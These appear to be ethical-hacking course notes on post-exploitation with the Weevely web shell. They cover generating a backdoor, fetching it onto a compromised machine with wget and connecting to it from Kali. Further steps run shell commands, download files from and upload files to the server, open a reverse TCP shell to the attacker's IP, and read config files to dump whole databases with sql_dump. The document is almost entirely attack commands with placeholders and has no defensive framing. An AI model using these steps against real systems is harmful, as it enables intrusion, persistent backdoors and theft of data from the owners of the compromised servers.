



# POST EXPLOITATION

---

---

# POST EXPLOITATION

## BASIC BASH TO WEEVELY



1. Generate backdoor

```
> weevly generate [password] [file name]
```

2. Upload it to any server (make sure you have a **direct** URL)

3. Download it from hacked machine.

```
> wget [url]
```

4. Connect to it from Kali

```
> weevly [url to file] [password]
```

# POST EXPLOITATION

## WEEVELY BASICS



- Run any shell commands directly.
- Run Weeveily functions
- List all Weeveily functions
- Get help about a specific function

```
> whoami
```

```
> [function name]
```

```
> help
```

```
> [function name] -h
```

# POST EXPLOITATION

## DOWNLOADING FILES



- Download files to local machine.
- Find plugin help  
> `file_download -h`
- Useage  
> `file_download -vector [VECTOR] [FileName] -host [HOST] [location to store file]`

# POST EXPLOITATION

## UPLOADING FILES



- Upload files to web server.
- Find plugin help  
> `file_upload -h`
- Usage  
> `file_upload -vector [VECTOR] [location on local machine] [location to store file]`

# POST EXPLOITATION

## RUNNING SHELL COMMANDS



- Run any shell commands directly.  
> whoami
- Use the commands function if the above does not work  
> shell\_sh -h
- Usage  
> shell\_sh [command]  
> shell\_sh -v [vector] [command]

# POST EXPLOITATION

## WEEVELY TO REVERSE SHELL



- **Reverse** shell connection from target to us.
- May help us bypass security.
- Get function help

```
> backdoor_reversetcp -h
```

- Usage

```
> backdoor_reversetcp -vector [VECTOR] [YOUR IP] [PORT]
```

# POST EXPLOITATION

## ACCESSING THE DATABASE



1. Find and read config file.
2. Use `sql_console` to drop to sql console or `sql_dump` to dump the whole database, examples:

```
> sql_console -h
```

```
> sql_dump -h
```

- Usage

```
> sql_dump -vector [VECTOR] -host [HOST] -lpath [location to store date] [DBName] [username] [password]
```